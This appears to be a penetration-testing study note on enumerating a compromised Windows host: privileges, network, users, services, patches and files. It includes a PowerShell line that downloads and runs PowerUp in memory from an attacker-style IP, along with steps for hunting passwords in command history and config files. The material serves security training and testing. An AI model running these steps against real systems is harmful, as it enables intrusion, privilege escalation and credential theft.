~/windows-local-enumeration

Local Enumeration

CPTS Notes5 min read

After a foothold, collect identity and privileges, network, users, processes and services, patch level, and readable files, in that order. Run an enumeration script after the manual pass and check its findings by hand. Privesc Primer covers what to do with the results.

A command-line foothold from a web shell is often clumsy. An early win is a cleaner session over WinRM with evil-winrm, or RDP once you hold a credential.

Who and where

Current user, privileges, groups, and SID in one view:

whoami /all # user, groups, privileges, and SID
whoami /priv # privileges only, such as SeImpersonatePrivilege

SeImpersonatePrivilege, SeBackupPrivilege, and SeLoadDriverPrivilege in whoami /priv are direct privilege-escalation leads.

Host, OS build, domain, and installed patches:

systeminfo # OS version, build, domain, hotfixes, and boot time
hostname # host name

The Domain line in systeminfo shows whether the host is domain-joined or stands alone, which decides whether local or domain attacks apply.

Network

Interfaces, routes, and the ARP cache:

ipconfig /all # interfaces, addresses, DNS, and domain
route print # routing table
arp -a # hosts this box talked to recently

An interface on a second subnet makes the host a pivot into another network. Note it.

Listening ports and the owning process:

netstat -ano # listening ports with the owning PID
Get-NetTCPConnection -State Listen # same, as objects

A port bound to 127.0.0.1 only is not reachable from outside. Reach it from the box, or forward the port (Privesc Primer). Local admin panels and databases are pivot and privesc targets.

Local name entries:

Get-Content C:\Windows\System32\drivers\etc\hosts # local name entries

Users and groups

Local users, and the members of the local administrators group:

Get-LocalUser # local accounts
Get-LocalGroupMember Administrators # who is a local admin
net accounts # password and lockout policy

Other sessions on the host:

query user # logged-on users and session IDs

On a domain-joined host, enumerate domain accounts too:

net user /domain # domain users
net group "Domain Admins" /domain # domain admins

Local admin on the box is the goal of privilege escalation. Domain group membership decides how far a credential reaches once you move off the host.

Processes and services

Processes with their service names:

tasklist /svc # processes and the services they host
Get-Process # same, as objects

Services, with the state, start mode, and the binary each runs:

Get-CimInstance Win32_Service | Select-Object Name, State, StartMode, PathName # services and their binaries

Get-CimInstance replaces wmic, which Microsoft removed from current Windows 11. The PathName values feed the unquoted-path and weak-permission checks in Privesc Primer.

Scheduled tasks, with the action each runs:

schtasks /query /fo LIST /v # scheduled tasks in full detail
Get-ScheduledTask # same, as objects

Patches and software

Installed hotfixes, to spot a missing kernel patch:

Get-HotFix # installed updates, with the KB number and date

Installed programs, read from the uninstall registry keys:

Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' | Select-Object DisplayName, DisplayVersion

A sparse Get-HotFix list on an old build points to kernel or privilege-escalation exploits. Feed the systeminfo output to a suggester such as Watson or the winPEAS checks, then check by hand.

Files worth reading

PowerShell command history, which often holds typed passwords:

Get-Content (Get-PSReadlineOption).HistorySavePath # this user's PowerShell history

User folders, the desktop, and documents of each account:

Get-ChildItem C:\Users\*\Desktop, C:\Users\*\Documents -ErrorAction SilentlyContinue # user files

Environment variables of the current session:

Get-ChildItem Env: # environment variables

Application config files hold database and service passwords: web.config, appsettings.json, *.config, unattend.xml. Searching for them is in Hunting (Windows), and the credential stores to dump are in Looting (Windows).

Automated scripts

Run a script after the manual pass. Windows Transfers covers getting it onto the box. Write output under C:\Windows\Temp or the user’s AppData\Local\Temp.

winPEAS is the broad enumerator:

.\winPEASx64.exe # all checks
.\winPEASx64.exe quiet cmd # less colour noise, cmd checks only

PowerUp focuses on privilege-escalation misconfigurations, run in memory:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20:8000/PowerUp.ps1')
Invoke-AllChecks # run every PowerUp check

SharpUp is the compiled C# version of the same checks, and Seatbelt collects host and user detail.

The scripts miss findings and raise false positives, such as an exploit for a patch the host already has. Check each lead by hand before you act on it.

Checklist

  • whoami /all and /priv: note SeImpersonate and other privileges.
  • systeminfo: OS build, domain membership, and hotfixes noted.
  • Interfaces, routes, and second subnets noted.
  • Listening ports checked, especially services on 127.0.0.1.
  • Local users, administrators group, and password policy listed.
  • Domain users and groups listed, on a domain-joined host.
  • Services and their binaries, and scheduled tasks, checked.
  • Hotfixes and installed software noted.
  • PowerShell history, user folders, config files, and Env: read.
  • winPEAS or PowerUp run and its findings checked by hand.